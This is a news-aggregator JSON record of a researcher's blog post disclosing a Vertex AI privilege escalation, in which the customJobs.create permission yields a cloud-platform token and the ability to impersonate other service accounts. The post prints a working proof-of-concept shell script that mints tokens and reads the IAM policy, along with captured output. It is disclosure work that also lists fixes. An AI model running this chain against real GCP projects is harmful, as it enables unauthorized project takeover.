{"slug": "fine-tune-an-llm-on-vertex-ai-own-the-whole-gcp-project", "title": "Fine-tune an LLM on Vertex AI, own the whole GCP project", "summary": "A security researcher demonstrated that the `aiplatform.customJobs.create` permission in Google Cloud's Vertex AI allows privilege escalation to full project control, contradicting Google's documentation that the Custom Code Service Agent cannot obtain cloud-platform-scoped tokens. The researcher successfully minted tokens for any service account and read the project IAM policy, but Google marked the report as \"Won't Fix (Infeasible).", "body_md": "#\n[Fine-tune an LLM on Vertex AI, own the whole GCP project](https://blog.himanshuanand.com/2026/06/fine-tune-an-llm-on-vertex-ai-own-the-whole-gcp-project/)\n\n## Table of Contents\n\nIf your team trains models or fine tunes LLMs on Vertex AI, one training permission is all it takes to take over the whole project.\n\nTLDR;\n\nA principal with one permission `aiplatform.customJobs.create`\n\ncan run code as google’s managed Custom Code Service Agent, which hands out a cloud platform token (the exact scope Google’s docs says it can’t have) and can mint tokens for any service account in the project. That is low priv ML role turning into effective project Editor, no actAs, no user interaction.\n\nIt’s the same primitive published by **Unit 42 (Ofir Balassiano & Ofir Shaty) on November 12, 2024** - [ ModeLeak: Privilege Escalation to LLM Model Exfiltration in Vertex AI](https://unit42.paloaltonetworks.com/privilege-escalation-llm-model-exfil-vertex-ai/). Guess what, it still works. Google marked my report “Won’t Fix (Infeasible)” for lacking a “reproducible proof of concept” on a report that is mostly reproducible proof of concept.\n\nthe one permission\n\nVertex AI custom jobs are simple: hand Google a container, Google runs it. The catch is who it runs as. By default that’s a Google-managed identity:\n\n```\nservice-<PROJECT_NUMBER>@gcp-sa-aiplatform-cc.iam.gserviceaccount.com\n```\n\nYour code Google’s identity. To submit a job you essentially need one meaningful permission, aiplatform.customJobs.create, the thing orgs hand to every data scientist. You do not need actAs, getAccessToken, a token-creator role, Editor, or Owner. So I built exactly that: a custom role with customJobs.create/get/list + locations.get, bound to a fresh service account with rights over nothing else. An intern badge.\n\nthe docs literally say this is impossible\n\nThis is the whole bug. From Google’s own custom service account docs ([https://cloud.google.com/vertex-ai/docs/general/custom-service-account)](https://cloud.google.com/vertex-ai/docs/general/custom-service-account)):\n\n“If you want your custom training code to obtain an OAuth 2.0 access token with the [https://www.googleapis.com/auth/cloud-platform](https://www.googleapis.com/auth/cloud-platform) scope, then you must use a custom service account for training. You can’t give this level of access to the … Custom Code Service Agent.”\n\nThe default agent cannot have cloud platform scope. That promise is the reason `customJobs.create`\n\nis supposedly safe to hand out. The promise is false.\n\nso I did it\n\nThe “training code” is just a shell script that interrogates the metadata server and tries things it shouldn’t be allowed to:\n\n```\nT1=$(curl -s -H \"Metadata-Flavor: Google\" \\\n  \"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token\" \\\n  | python3 -c \"import sys,json;print(json.load(sys.stdin)['access_token'])\")\n\n# mint a token for the Editor-level Compute SA (should fail)\nT2=$(curl -s -X POST -H \"Authorization: Bearer $T1\" -H \"Content-Type: application/json\" \\\n  \"https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/$COMPUTE_SA:generateAccessToken\" \\\n  -d '{\"scope\":[\"https://www.googleapis.com/auth/cloud-platform\"]}' \\\n  | python3 -c \"import sys,json;print(json.load(sys.stdin).get('accessToken',''))\")\n\n# read the entire project IAM policy with that minted token\ncurl -s -X POST -H \"Authorization: Bearer $T2\" -H \"Content-Type: application/json\" \\\n  \"https://cloudresourcemanager.googleapis.com/v1/projects/$PROJECT:getIamPolicy\" -d '{}'\n```\n\nSubmitted it as the intern-badge SA (–impersonate-service-account=$VX), then made tea while Vertex committed the crime in the background, with full Cloud Logging.\n\nwhat came back\n\ntokeninfo on the agent’s own metadata token, the scope the docs deny exists:\n\n```\n{ \"scope\": \"email https://www.googleapis.com/auth/userinfo.email https://www.googleapis.com/auth/cloud-platform\",\n  \"email\": \"[email protected]\" }\n```\n\nAnd the rest of the chain, straight from the logs:\n\n```\ngenerateAccessToken for Compute Editor SA: HAS_TOKEN: True\ngetIamPolicy on source project: GETIAMPOLICY_OK bindings= 14\nAppspot Editor SA impersonation: APPSPOT_IMPERSONATE_OK\n```\n\nSo: minimal ML permission -> managed agent -> impossible cloud-platform token -> impersonate any SA -> read the whole project -> effective Editor. It even chained into a second Editor SA, because why stop at one.\n\nhasn’t someone seen this already?\n\nYes. This is functionally ModeLeak Primitive #1, published by Unit 42 in November 2024. Same shape, same agent, same escalation. Google publicly said they “implemented fixes to eliminate these specific issues.” It’s 2026 and the door is still open. Fix didn’t cover it, was incomplete, or regressed. Pick one.\n\nI mentioned in my bug report to Google\n\nI filed it with the Cloud VRP, flagged the prior art explicitly and linked the tracker → [https://issuetracker.google.com/issues/522648848](https://issuetracker.google.com/issues/522648848). I included the role YAML, the gcloud commands, the probe config, the captured output and three job IDs. The verdict:\n\nStatus: Won’t Fix (Infeasible).\n\nHi, Our team has analyzed this report and decided not to track it as a security bug. … At this time, we have not seen a reproducible proof of concept that demonstrates how this issue could be exploited to attack Google or other users. Without a clear demonstration of such impact, we are unable to prioritize this as a security-related fix.\n\nThe report contains the exact commands, the captured tokeninfo, a successful generateAccessToken against an Editor SA, a getIamPolicy on the whole project, and three job IDs you can pull from Cloud Logging. I reproduced it three times. The job IDs are literally labeled baseline, low-priv, and decisive. “No reproducible proof of concept” is a bold review for a report you can copy-paste.\n\nThe real gripe is not the bounty, it is setting the bar at “demonstrate cross-tenant attack on Google” for a single-tenant privesc primitive. Escalating inside my own project is what a privesc is. The same path runs anywhere customJobs.create is delegated, which is nearly everywhere.\n\nwhy it matters, and the fix\n\nOrgs hand customJobs.create to ML engineers believing the docs, which scope the blast radius to “editor-level access to GCS and BigQuery.” The real radius: impersonate any SA, dump the full IAM policy, inherit Editor (Compute, KMS, Secret Manager, networking), exfiltrate the minted tokens. The defenders’ mental model is the documented one, and the documented one is wrong.\n\nThe fix isn’t exotic, pick any:\n\n- Strip getAccessToken/signJwt/signBlob from roles/aiplatform.customCodeServiceAgent.\n- Add an actAs gate like Cloud Functions and Cloud Build already require. This is solved one product over.\n- Honor the docs: don’t give the agent cloud-platform by default.\n- At minimum, fix the docs so customers stop trusting a boundary that isn’t there.\n\nfinal thoughts\n\nA managed Google identity is quietly carrying a token its own documentation calls impossible, handing project-Editor to anyone with one ML permission, via a primitive a major team already published, and the official position is that it’s “Infeasible.”\n\nIf you run GCP: go check what your custom-job submitters can actually reach. Don’t trust the GCS-and-BigQuery framing. Spin up the probe in a throwaway project and read your own tokeninfo. Ten minutes and a cup of tea.\n\nIf you think I’m wrong about the severity, especially hit me up ([https://x.com/anand_himanshu)](https://x.com/anand_himanshu)). I’d love to hear the case for “Infeasible.”\n\nThanks for reading.", "url": "https://wpnews.pro/news/fine-tune-an-llm-on-vertex-ai-own-the-whole-gcp-project", "canonical_source": "https://blog.himanshuanand.com/2026/06/fine-tune-an-llm-on-vertex-ai-own-the-whole-gcp-project/", "published_at": "2026-06-16 00:00:00+00:00", "updated_at": "2026-06-16 16:22:00.299060+00:00", "lang": "en", "topics": ["ai-safety", "ai-infrastructure", "ai-policy"], "entities": ["Vertex AI", "Google Cloud", "Unit 42", "Ofir Balassiano", "Ofir Shaty", "Custom Code Service Agent"], "alternates": {"html": "https://wpnews.pro/news/fine-tune-an-llm-on-vertex-ai-own-the-whole-gcp-project", "markdown": "https://wpnews.pro/news/fine-tune-an-llm-on-vertex-ai-own-the-whole-gcp-project.md", "text": "https://wpnews.pro/news/fine-tune-an-llm-on-vertex-ai-own-the-whole-gcp-project.txt", "jsonld": "https://wpnews.pro/news/fine-tune-an-llm-on-vertex-ai-own-the-whole-gcp-project.jsonld"}}